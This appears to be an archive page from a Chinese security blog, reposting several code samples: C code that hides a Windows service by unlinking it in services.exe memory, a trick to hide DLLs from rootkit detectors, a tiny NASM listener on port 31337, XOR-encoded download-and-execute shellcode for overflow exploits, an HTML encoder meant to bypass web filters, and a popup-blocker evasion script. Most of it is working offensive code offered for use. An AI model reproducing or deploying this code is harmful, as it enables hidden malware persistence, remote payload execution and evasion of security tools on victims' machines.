存档

文章标签 ‘Code’

ring3下隐藏服务的代码

2010年7月14日 没有评论 147 views

来自:ASM

过RKU,GMAER的dll模块检查的代码,就两句:

ldm->HashLinks.Blink->Flink = ldm->HashLinks.Flink;
ldm->HashLinks.Flink->Blink = ldm->HashLinks.Blink;

//下面是一个ring3下隐藏服务的代码,也是抄别人小小修改了一下而已的:

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include <Tlhelp32.h>

// 几个Undocument的结构

typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef struct _SC_SERVICE_PROCESS

{

PSC_SERVICE_PROCESS Previous;

PSC_SERVICE_PROCESS Next;

WCHAR *ImagePath;

DWORD Pid;

DWORD NumberOfServices;

// ...

} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE

{

PSC_DEPEND_SERVICE Next;

DWORD Unknow;

PSC_SERVICE_RECORD Service;

// ...

} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD

{

PSC_SERVICE_RECORD Previous;

PSC_SERVICE_RECORD Next;

WCHAR *ServiceName;

WCHAR *DisplayName;

DWORD Index;

DWORD Unknow0;

DWORD sErv;

DWORD ControlCount;

DWORD Unknow1;

PSC_SERVICE_PROCESS Process;

SERVICE_STATUS Status;

DWORD StartType;

DWORD ErrorControl;

DWORD TagId;

PSC_DEPEND_SERVICE DependOn;

PSC_DEPEND_SERVICE Depended;

// ...

} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

int WINAPI UnicodeToAnsiStr(OUT char *lpChar, IN WCHAR *lpWideChar)

{

int iLen;

iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, NULL, 0, NULL, NULL);

if ((iLen > 1) || (iLen < 20))

{

ZeroMemory(lpChar, 40);

iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, lpChar, iLen, NULL, NULL);

}

return iLen;

}

BOOL SetDebugPrivilege()

{

BOOL bRet = FALSE;

HANDLE hToken = NULL;

LUID luid;

TOKEN_PRIVILEGES tp;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))

{

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

}

if (hToken) CloseHandle(hToken);

return bRet;

}

DWORD GetProcessIdByName(char *Name)

{

BOOL bRet = FALSE;

HANDLE hProcessSnap = NULL;

PROCESSENTRY32 pe32 = { 0 };

DWORD Pid = -1;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hProcessSnap, &pe32))

{

do

{

if (!lstrcmpi(pe32.szExeFile, Name ) )

{

Pid = pe32.th32ProcessID;

break;

}

}

while (Process32Next(hProcessSnap, &pe32));

}

CloseHandle(hProcessSnap);

return Pid;

}

// 修改内存属性为指定值

void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)

{

MEMORY_BASIC_INFORMATION mbi;

DWORD dwOldProtect, dwWritten;

VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);

WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);

VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);

}

//寻找服务链表

PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)

{

char FileName[MAX_PATH+1];

HANDLE hFile, hFileMap;

UCHAR * pMap;

DWORD dwSize, dwSizeHigh, i, dwRead;

SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;

GetSystemDirectory( FileName, MAX_PATH );

strcat( FileName,"\\Services.exe");

hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,

NULL, OPEN_EXISTING, 0, NULL);

if (INVALID_HANDLE_VALUE == hFile) return NULL;

dwSizeHigh = 0;

dwSize = GetFileSize(hFile, &dwSizeHigh);

hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

if (NULL == hFileMap) return NULL;

pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);

if (NULL == pMap) return NULL;

dwSize -= 12;

for (i=0; i<dwSize; ++i)

{

// 搜索services!ScGetServiceDatabase特征代码

if (*(DWORD*)(pMap+i) == 0xa1909090 &&

*(DWORD*)(pMap+i+8) == 0x909090c3)

{

if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&

ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征

{

pRet = pSvcRd;

break;

}

}

}

UnmapViewOfFile(pMap);

CloseHandle(hFileMap);

CloseHandle(hFile);

//printf( "addr: 0x%08x\n", (DWORD *)pRet );

return pRet;

}

// 隐藏服务

BOOL HideService(char *Name)

{

DWORD Pid;

HANDLE hProcess;

SC_SERVICE_RECORD SvcRd, *pSvcRd;

DWORD dwRead, dwNameSize;

WCHAR SvcName[MAX_PATH] = { 0 };

char lpSvcName[256] = {0};

dwNameSize = strlen(Name)*2; //UNICODE的话,长度要乘以2

if (dwNameSize > sizeof(SvcName))

{

return FALSE;

}

Pid = GetProcessIdByName("Services.exe");

if (Pid == -1)

{

printf("get pid error\r\n");

return FALSE;

}

if(!SetDebugPrivilege())

{

printf("SetDebugPrivilege error\r\n");

return FALSE;

}

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

if (NULL == hProcess)

{

printf("OpenProcess error:%d\r\n",GetLastError());

return FALSE;

}

pSvcRd = FindFirstServiceRecord(hProcess);

if (NULL == pSvcRd)

{

printf("FindFirstServiceRecord error\r\n");

CloseHandle(hProcess);

return FALSE;

}

do

{

if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&

ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))

{

//OutputDebugStringW(SvcName);

// 匹配服务名

memset(lpSvcName,0,sizeof(lpSvcName));

UnicodeToAnsiStr(lpSvcName,SvcName);

if (lstrcmpi(lpSvcName, Name) == NULL)

{

// 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);

ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);

CloseHandle(hProcess);

return TRUE;

}

}

else

{

break;

}

}

while (pSvcRd = SvcRd.Next);

if( NULL != hProcess )

{

CloseHandle(hProcess);

}

return FALSE;

}

int main()

{

HideService("Alerter");

return 0;

}

分类: 技术文章 标签: ,

MiniTelnet(ASM版)

2008年11月14日 没有评论 87 views

;************************************************
; :: The world's smallest telnetd - 675 bytes ::
;************************************************
; coded by Drocon in NASM
;
;It binds and starts listening on port 31337, and once
;a connection is detected, send out a message
;================================================


;===========
;necessities
;===========


BITS 32    ;we're 32-bit here, so required for -fbin option

%define    RVADIFF      1000h-200h
%define    imagebase    00400000h    ;imagebase, i can change it to anything i want, 400000h is usually normal
%define   CODE_BASE    1000h
%define    DATA_BASE CODE_BASE
%define   reloc RVADIFF+imagebase   ;very very very important, used for data

;====================
;PE headers starts here:
;====================
mz_header:
.magic                  dw "MZ"
.cblp                   dw 0
.cp                     dw 1
.crlc                   dw 0
.cparhdr                dw 4
.minalloc               dw 0
.maxalloc               dw 0
.ss                     dw 1
.sp                     dw 0
.csum                   dw 0
.ip                     dw 0
.cs                     dw 0
.lfarlc                 dw 40h
.ovno                   dw 0
.res                    times 4 dw 0
.oemid                  dw 0
.oeminfo                dw 0
.res2                   times 10 dw 0
.lfanew                 dd pe_header

;dos stub, just exits, no "This program must be run under Win32" shit

stub:

       mov ah, 4ch
       int 21h

align 16, DB 0
pe_header:
.Signature              dd "PE"
.Machine                dw 14Ch
.NumberOfSections       dw 1
.TimeDateStamp          dd 0
.PointerToSymbolTable   dd 0
.NumberOfSymbols        dd 0
.SizeOfOptionalHeader   dw 0E0h
.Characteristics        dw 103h
.Magic                  dw 10Bh
.MajorLinkerVersion     db 0
.MinorLinkerVersion     db 0
.SizeOfCode             dd 1000h
.SizeOfInitializedData  dd 1000h
.SizeOfUninitialzedData dd 0
.AddressOfEntryPoint    dd code
.BaseOfCode             dd CODE_BASE
.BaseOfData             dd DATA_BASE
.ImageBase              dd imagebase
.SectionAlignment       dd 1000h
.FileAlignment          dd 200h
.MajorOperSystemVersion dw 1
.MinorOperSystemVersion dw 0
.MajorImageVersion      dw 0
.MinorImageVersion      dw 0
.MajorSubsystemVersion  dw 4
.MinorSubsystemVersion  dw 0
.Reserved1              dd 0
.SizeOfImage            dd 2000h
.SizeOfHeaders          dd code_end
.CheckSum               dd 0
.Subsystem              dw 2
.DllCharacteristics     dw 0
.SizeOfStackReserve     dd 100000h
.SizeOfStackCommit      dd 2000h
.SizeOfHeapReserve      dd 100000h
.SizeOfHeapCommit       dd 1000h
.LoaderFlags            dd 0
.NumberOfRvaAndSizes    dd 4
.export                 times 2 dd 0
.import                 dd DATA_BASE, import_end-import
.misc_sectionz          times 28 dd 0

sections:
.SectionName            db ".nwc",0,0,0,0  ;nuclearwinter :D
.VirtualSize            dd 1000h
.VirtualAddress         dd DATA_BASE
.SizeOfRawData         &nb
sp;dd import_end-import
.PointerToRawData       dd code_end
.PointerToRelocations   dd 0
.PointerToLinenumbers   dd 0
.NumberOfRelocations    dw 0
.NumberOfLinenumbers    dw 0
.Characteristics        dd 0E0000060h

;====================
;Generic macros for import table building...makes life alot easier
;====================
%macro   rva 1
  dd RVADIFF+%1
%endmacro


%macro     apicall 1
  call dword [%1+reloc]
%endmacro


%macro library 2
  dd   0
           dd   0
           dd   -1
  rva  %1
           rva  %2
%endmacro


%define endlibrary times 5 dd 0 

%macro  api_import 3
%1 rva %2
  %if  %3=1
dw   0
  %endif
%endmacro




;=========
;Defines
;=========


SOCK_STREAM equ 1
SOCK_DGRAM equ 2

SOCKET_ERROR equ -1
INVALID_SOCKET equ -1

MSG_OOB equ 1
MSG_DONTROUTE equ 4


IPPROTO_IP equ  0
IPPROTO_ICMP equ  1
IPPROTO_IGMP equ  2
IPPROTO_GGP equ  3
IPPROTO_TCP equ  6
IPPROTO_PUP equ 12
IPPROTO_UDP equ 17
IPPROTO_IDP equ 22
IPPROTO_ND equ 77


AF_UNSPEC equ 0
AF_UNIX equ 1
AF_INET equ 2
AF_IMPLINK equ 3
AF_PUP equ 4
AF_CHAOS equ 5
AF_IPX equ 6
AF_NS equ 6
AF_ISO equ 7
AF_OSI equ 7
AF_ECMA equ 8
AF_DATAKIT equ 9
AF_CCITT equ 10
AF_SNA equ 11
AF_DECnet equ 12
AF_DLI equ 13
AF_LAT equ 14
AF_HYLINK equ 15
AF_APPLETALK equ 16
AF_NETBIOS equ 17
AF_VOICEVIEW equ 18
AF_FIREFOX equ 19
AF_UNKNOWN1 equ 20
AF_BAN equ 21
AF_MAX equ 22


PF_UNSPEC equ AF_UNSPEC
PF_UNIX equ AF_UNIX
PF_INET equ AF_INET
PF_IMPLINK equ AF_IMPLINK
PF_PUP equ AF_PUP
PF_CHAOS equ AF_CHAOS
PF_NS equ AF_NS
PF_IPX equ AF_IPX
PF_ISO equ AF_ISO
PF_OSI equ AF_OSI
PF_ECMA equ AF_ECMA
PF_DATAKIT equ AF_DATAKIT
PF_CCITT equ AF_CCITT
PF_SNA equ AF_SNA
PF_DECnet equ AF_DECnet
PF_DLI equ AF_DLI
PF_LAT equ AF_LAT
PF_HYLINK equ AF_HYLINK
PF_APPLETALK equ AF_APPLETALK
PF_VOICEVIEW equ AF_VOICEVIEW
PF_FIREFOX equ AF_FIREFOX
PF_UNKNOWN1 equ AF_UNKNOWN1
PF_BAN equ AF_BAN
PF_MAX equ AF_MAX

WSADESCRIPTION_LEN equ 256 ; description length
WSASYS_STATUS_LEN equ 128 ; system status length

STRUC WSADATA
  alignb 4
  .wsa_wVersion resw  1 ; expected caller version
  .wsa_wHighVersion resw  1 ; highest version supported
  .wsa_szDescription resb  WSADESCRIPTION_LEN+1 ; description
  .wsa_szSystemStatus resb  WSASYS_STATUS_LEN+1 ; system status
  .wsa_iMaxSockets resw  1 ; maximum # of sockets
  .wsa_iMaxUdpDg resw  1 ; maximum udp datagram size
  .wsa_lpVendorInfo resd  1 ; vendor info structure
ENDSTRUC
%define _WSADATA_ 2+2+(WSADESCRIPTION_LEN+1)+(WSASYS_STATUS_LEN+1)+2+2+4

STRUC SOCKADDR
  .sa_family resw 1
  .sa_data resw 14
ENDSTRUC
%define _SOCKADDR_ 2+14


STRUC SOCKADDR_IN
  .sin_family resw 1 ;address family
  .sin_port resw 1 ;port number
  .sin_addr resb 4 ;internet address
  .sin_zero resb 8 ;zero padding
ENDSTRUC


;===========
;The real start of the program
;===========

ready db "drocon is teh h$x",13,10,0
ready_size equ ($-ready)
readymsg equ ready+imagebase


code:
sub ebp,ebp

push esp ; ah...the horror, no structures
sub esp, WSADATA_size ; i have to align the stack to
and esp, 0FFFFFFFCh ; allocate enough space for
add esp, 4 ; WSADADA
mov ebx,esp ; ebx now holds WSADATA

; push WSADATA_size
; push ebx
; apicall ZeroMemory


push ebx
push 101h ; anything works here really....
apicall WSAStartup ; call WSAStartup()

push byte 6 ; IPPROTO_TCP
push byte 1 ; SOCK_STREAM
push byte 2 ; AF_INET
apicall socket ; create the socket
mov ebx,eax

push ebp ; dynamically create the
push ebp ; SOCKADDR_IN structure
push ebp ; by pushing params in stack
push dword 697A0002h ; 697A is network order for 7A69 = 31337 in decimal
mov eax,esp ; eax holds SOCKADDR_IN

push byte 16 ; sizeof SOCKADDR_IN
push eax ; SOCKADDR_IN structure
push ebx ; our socket handle from socket()
apicall bind ; bind() :)


push byte 3 ; max 3 connections
push ebx ; socket handle
apicall listen ; listen to the port

; push ebx
; push byte 1
; mov eax,esp

; push ebp
; push ebp
; push ebp
; push eax
; push ebp
; apicall select
; add esp,2*4
next: ; go into a loop to accept()

push ebp ; 0
push ebp ; 0
push ebx ; socket handle
apicall accept ; accept the connection
mov edi,eax ; store handle in edi
inc eax ; check if there was conn
jz next ; nope, go back


push ebp ; 0
push byte ready_size ; the size of the welcome message
push dword readymsg ;&nbsp
;the welcome message + imagebase
push edi ; handle from accept()
apicall send ; send the friendly message :)

push edi ; okay we're done!
apicall closesocket ; time to close the socket!

jmp next ; loop back

xor eax,eax ; restore eax
ret ; return :)
align 200h, DB 0 ; very important, we pad the section w/ zeros
code_end:


;========
;IMPORT TABLE - YAHOOO!!!!!
;========


import:

library WSOCK32, W32api
endlibrary

WSOCK32  db "wsock32.dll", 0

W32api:
api_import socket, api1, 0
api_import bind, api2, 0
api_import send, api3, 0
api_import listen, api4, 0
api_import select, api5, 0
api_import WSAStartup, api6, 0
api_import accept, api7, 0
api_import closesocket, api8, 1


api1 dw 0
       db "socket",0
api2 dw 0
       db "bind",0
api3 dw 0
       db "send",0
api4 dw 0
       db "listen",0
api5 dw 0
       db "select",0
api6 dw 0
       db "WSAStartup",0
api7 dw 0
       db "accept",0
api8 dw 0
       db "closesocket",0

import_end:

;OK EOF THAT WAS REAL FUN

分类: 资源共享 标签:

Check MD5(md5sum for php)

2008年11月14日 没有评论 95 views

<?php
/******************************************************************
Check MD5(md5sum for php)
2008-11-09
amxku.net

校验文件的准确性.
在网站被入侵后,检查文件的准确性。

*UIX下可以用md5sum * >md5sum 来得到所有文件的md5值,然后把两次得到的
MD5值来进行对比。

在代码检查方面那么有一丁点用处,别的没什么用。
******************************************************************/
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';
echo '<title>Check MD5(md5sum for php)</title>';
check_md5(".");

function check_md5($directory){
    $check_md5_dir = @opendir($directory);
    echo '<ul>';
    while ($file = @readdir($check_md5_dir)) {
    if ($file != "." && $file != "..") {
    if(is_dir("$directory/$file")){
        echo '<li><strong>'.$file.'</strong></li>';
        tree("$directory/$file");
    }else{
        echo '<li>'.$file.' ==> '.md5_file("$directory/$file").'</li>';
    }
    }
    }
    echo '</ul>';
    closedir($check_md5_dir);
}
?>

分类: 资源共享 标签: , ,

Win32 download url shellcode

2007年4月2日 没有评论 279 views

文章作者:Lion

/*
*-----------------------------------------------------------------------

* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*       : lion#cnhonker.net
*       : <a target="_blank" href="http://www.cnhonker.com">http://www.cnhonker.com</a>
*       :
* Date   : 2003-08-15
*       :
* Update   : 2004-05-05 v3.1 
*       : 2004-01-08 v3.0
*       : 2003-09-10 v2.0 
*       : 2003-08-15 v1.0 
*       :
* Tested   : Windows 2000/Windows XP/windows 2003
*       :
* Notice   : 1. 通过peb取得kernel32.dll地址。
*       : 2. 通过函数的hash值来进行比较,代替GetProcAddress取得函数地址,节省函数名占用的空间。
*       : 3. 利用循环获取hash值和函数地址,节省空间。
*       : 4. 下载url文件并执行。
*       : 5. 用vc6可以命令行直接编译,方便修改。
*       : 6. win2000/winxp/win2003 下测试成功。
*       : 7. 比较小巧,长度为241 bytes。
*       :
* Complie : cl downloadurl_v31.c
*       :
* Reference: <a target="_blank" href="http://www.lsd-pl.net/documents/winasm-1.0.1.pdf">http://www.lsd-pl.net/documents/winasm-1.0.1.pdf</a>
*       : <a target="_blank" href="http://www.metasploit.com/shellcode.html">http://www.metasploit.com/shellcode.html</a>
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN               __asm _emit 0x90 __asm _emit 0x90\
                          __asm _emit 0x90 __asm _emit 0x90\
                          __asm _emit 0x90 __asm _emit 0x90\
                          __asm _emit 0x90 __asm _emit 0x90
#define PROC_END               PROC_BEGIN
#define SEARCH_STR               "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN               8
#define MAX_SC_LEN               2048
#define HASH_KEY               13

// Define Decode Parameter
#define DECODE_LEN               21
#define SC_LEN_OFFSET             7
#define ENC_KEY_OFFSET           11
#define ENC_KEY                 0x99


// Define Function Addr
#define ADDR_LoadLibraryA         [esi]
#define ADDR_GetSystemDirectoryA     [esi+4]
#define ADDR_WinExec             [esi+8]
#define ADDR_ExitProcess           [esi+12]
#define ADDR_URLDownloadToFileA     [esi+16]
//#define ADDR_URL               edi

// Need functions
unsigned char functions[100][128] =       
{                             // [esi] stack layout
  // kernel32 4                   // 00 kernel32.dll
  {"LoadLibraryA"},               //   [esi]
  {"GetSystemDirectoryA"},           //   [esi+4]
  {"WinExec"},                   //   [esi+8]     
  {"ExitProcess"},                 //   [esi+12]
  //("ExitThread"},
  //{"TerminateProcess"},
  // urlmon 1                   // 01 urlmon.dll
  {"URLDownloadToFileA"},           //   [esi+16] 
  {""},
};
  
// Shellcode string
unsigned char sc[1024] = {0};

unsigned char url[]=
  "<a target="_blank" href="http://127.0.0.1/test.exe">http://127.0.0.1/test.exe</a>\x00";

// ASM shellcode main function
void   ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
  DWORD h = 0;
  
  while ( *c )
  {
    __asm ror h, HASH_KEY
    
    h += *c++;
  }
  return( h );
}

// Print Shellcode 
void PrintSc(unsigned char *sc, int len)
{
  int   i,j;
  char *p;
  char ms
g[6];
  
  //printf("/* %d bytes */\n", buffsize);
  
  // Print general shellcode
  for(i = 0; i < len; i++)
  {
    if((i%16)==0)
    {
        if(i!=0)
          printf("\"\n\"");
        else
          printf("\"");
    }
    
    //printf("\\x%.2X", sc[i]);
    
    sprintf(msg, "\\x%.2X", sc[i] & 0xff);

    for( p = msg, j=0; j < 4; p++, j++ )
    {
        if(isupper(*p))
          printf("%c", _tolower(*p));
        else
          printf("%c", p[0]);
    }
  }
  
  printf("\";\n");
}


void Make_ShellCode()
{
  unsigned char *pSc_addr;
  unsigned int   Sc_len;
  unsigned int   Enc_key=ENC_KEY;
  unsigned long dwHash[100];
  unsigned int   dwHashSize;

  int i,j,k,l;
  
  
  // Get functions hash
  printf("[+] Get functions hash strings.\r\n");
  for (i=0;;i++) 
  {
    if (functions[i][0] == '\x0') break;

    dwHash[i] = GetHash((char*)functions[i]);
    printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
  }
  dwHashSize = i*4;


  // Deal with shellcode
  pSc_addr = (unsigned char *)ShellCode;
  
  for (k=0;k<MAX_SC_LEN;++k ) 
  {
    if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) 
    {
        break;
    }
  }
  pSc_addr+=(k+SEARCH_LEN);           // Start of the ShellCode
  
  for (k=0;k<MAX_SC_LEN;++k) 
  {
    if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
        break;
    }
  }
  Sc_len=k;                     // Length of the ShellCode
  
  memcpy(sc, pSc_addr, Sc_len);       // Copy shellcode to sc[]


  // Add functions hash
  memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
  Sc_len += dwHashSize;

  // Add url 
  memcpy(sc+Sc_len, url, sizeof(url)-1);   
  Sc_len += sizeof(url)-1;

  // Print the size of shellcode.
  printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);


  // Print the ip/port offset
  for(k=0; k <= Sc_len-3; ++k)
  {
    if(sc[k] == 0x00 && sc[k+1] == 0x35)
        printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
    if(sc[k] == 0x7F && sc[k+3] == 0x01)
        printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
  }

/*           
  for(i=DECODE_LEN; i<Sc_len; i++)
  {
    sc[i] ^= Enc_key;
  }
*/

  // Print shellcode
  //PrintSc(sc, Sc_len); 
  

  // Deal with find the right XOR byte
  for(i=0xff; i>0; i--)
  {
    l = 0;
    for(j=DECODE_LEN; j<Sc_len; j++)
    {
        if ( 
            ((sc[j] ^ i) == 0x26) || //%
            ((sc[j] ^ i) == 0x3d) || //=
            ((sc[j] ^ i) == 0x3f) || //?
            ((sc[j] ^ i) == 0x40) || //@
            ((sc[j] ^ i) == 0x00) ||
            ((sc[j] ^ i) == 0x0D) ||
            ((sc[j] ^ i) == 0x0A) 
          )                   // Define Bad Characters
        {
          l++;                 // If found the right XOR byte,l equals 0
          break;
        };
    }
  
    if (l==0)
    {
        Enc_key = i;
        
        //printf("[+] Find XOR Byte: 0x%02X\n", i);
        for(j=DECODE_LEN; j<Sc_len; j++)
        {
          sc[j] ^= Enc_key;
        }

        break;                 // If found the right XOR byte,&nb
sp;Break
    }
  }

  // Deal with not found XOR byte
  if (l!=0)
  {
    printf("[-] No xor byte found!\r\n");
    exit(-1);
  }

  // Deal with DeCode string
  *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
  *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

  // Print decode
  printf("/* %d bytes decode */\r\n", DECODE_LEN);
  PrintSc(sc, DECODE_LEN);

  // Print shellcode
  printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
  PrintSc((char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
  
  printf("[+] download url:%s\n", url);
}

void main()
{
  DWORD   addr;
  WSADATA     wsa;
  
  WSAStartup(MAKEWORD(2,2),&wsa);
  
  Make_ShellCode();

  addr = (DWORD)≻

  __asm
  {
    jmp addr
  }

  return;
}

// ShellCode function
void ShellCode()
{
  __asm
  {
    PROC_BEGIN                 // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
    jmp   short decode_end
    
decode_start:
    pop   ebx                 // Decode start addr (esp -> ebx)
    dec   ebx
    xor   ecx,ecx
    mov   cl,0xFF               // Decode len
    
  decode_loop:
    xor   byte ptr [ebx+ecx],0x99   // Decode key
    loop   decode_loop
    jmp   short decode_ok

decode_end:
    call   decode_start
    
decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
    jmp   sc_end
    
sc_start:       
    pop   edi                 // Hash string start addr (esp -> edi)

    // Get kernel32.dll base addr
    mov   eax, fs:0x30           // PEB
    mov   eax, [eax+0x0c]         // PROCESS_MODULE_INFO
    mov   esi, [eax+0x1c]         // InInitOrder.flink 
    lodsd                     // eax = InInitOrder.blink
    mov   ebp, [eax+8]           // ebp = kernel32.dll base address

    mov   esi, edi             // Hash string start addr -> esi
  
    // Get function addr of kernel32
    push   4
    pop   ecx
    
  getkernel32:
    call   GetProcAddress_fun
    loop   getkernel32

    // Get function addr of urlmon   
    push   0x00006e6f
    push   0x6d6c7275           // urlmon
    push   esp
    call   ADDR_LoadLibraryA       // LoadLibraryA("urlmon");
    
    mov   ebp, eax             // ebp = urlmon.dll base address
    
/*
    push   1
    pop   ecx

  geturlmon:
    call   GetProcAddress_fun
    loop   geturlmon
*/
    call   GetProcAddress_fun

    // url start addr = edi
    
//LGetSystemDirectoryA: 
    sub   esp, 0x20
    mov   ebx, esp
    
    push   0x20
    push   ebx
    call   ADDR_GetSystemDirectoryA   // GetSystemDirectoryA
    
//LURLDownloadToFileA:   
    // eax = system path size
    // URLDownloadToFileA url save to a.exe
    mov   dword ptr [ebx+eax], 0x652E615C       // "\a.e"
    mov   dword ptr [ebx+eax+0x4], 0x00006578     // "xe"
    xor   eax, eax
    push   eax
    push   eax
    push   ebx                 // %systemdir%\a.exe
    push   edi                 // url
    push   eax
    call   ADDR_URLDownloadToFileA   // URLDownloadToFileA
    
//LWinExec:
        mov   ebx,&nbsp
;esp
        push   eax
        push   ebx
        call   ADDR_WinExec           // WinExec(%systemdir%\a.exe);

Finished:
    //push   1
    call   ADDR_ExitProcess         // ExitProcess();

GetProcAddress_fun:   
    push   ecx
    push   esi
  
    mov   esi, [ebp+0x3C]         // e_lfanew
    mov   esi, [esi+ebp+0x78]       // ExportDirectory RVA
    add   esi, ebp             // rva2va
    push   esi
    mov   esi, [esi+0x20]         // AddressOfNames RVA
    add   esi, ebp             // rva2va
    xor   ecx, ecx
    dec   ecx

  find_start:
    inc   ecx
    lodsd
    add   eax, ebp
    xor   ebx, ebx
    
  hash_loop:
    movsx   edx, byte ptr [eax]
    cmp   dl, dh
    jz     short find_addr
    ror   ebx, HASH_KEY           // hash key
    add   ebx, edx
    inc   eax
    jmp   short hash_loop
  
  find_addr:
    cmp   ebx, [edi]             // compare to hash
    jnz   short find_start
    pop   esi                 // ExportDirectory
    mov   ebx, [esi+0x24]         // AddressOfNameOrdinals RVA
    add   ebx, ebp             // rva2va
    mov   cx, [ebx+ecx*2]         // FunctionOrdinal
    mov   ebx, [esi+0x1C]         // AddressOfFunctions RVA
    add   ebx, ebp             // rva2va
    mov   eax, [ebx+ecx*4]         // FunctionAddress RVA
    add   eax, ebp             // rva2va
    stosd                     // function address save to [edi]
    
    pop   esi
    pop   ecx
    ret
    
sc_end:
    call sc_start
    
    PROC_END                   //C macro to end proc
  }
}

分类: 技术文章 标签:

HTML通用免杀

2006年10月24日 没有评论 100 views

#include <stdio.h>
int main(int argc,char** argv)
{
FILE *fp;
char ch;
printf("\n-- Bypassing of web filters by using ASCII Exploit By CoolDiyer --\n");
if(argc<2){
  printf("\nUsage: \n\t %s srcfile >destfile\n",argv[0]);
  return -1;
}
if((fp=fopen(argv[1],"r"))==NULL){
  printf("File %s open Error",argv[1]);
  return -1;
}//指定编码为US-ASCII是必须的
printf("\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=US-ASCII\" />\n<title>Bypassing of web filters by using ASCII Exploit By CoolDiyer</title>\n</head><body>\n");
while((ch=fgetc(fp))!=EOF){
  ch|=0x80; //把7位变成8位,这句话是核心,呵呵
  printf("%c",ch);
};
fclose(fp);
printf("\n</body></html>\n");
return -1;
}


用法:ascii.exe ie.htm >a.htm

分类: 矩阵毒刺 标签:

超强NB 的弹出代码,不弹都不行,3721,GOOGLE工具都拦截不了。

2006年9月21日 没有评论 75 views

在你要弹出的页面里面写上
下面是tan.js的原文件:

var one;
var two;
var openurl="http://www.126.com";

function openwin()
{ one=window.open(openurl,'移测试站点,'width=460,height=580,top=00,left=00,toolbar=yes,menubar=yes, scrollbars=yes, resizable=yes,location=yes, status=yes');}


if (navigator.appName == "Netscape")
{setTimeout("openwin()",10)}
else
{setTimeout("openshow()",10)
}


function openshow()
{
one=window.showModalDialog(www.126.com,'测试站点,'scroll:1;status:0;help:0;resizable:0;dialogWidth:460px;dialogHeight:580px');
}


分类: 资源共享 标签: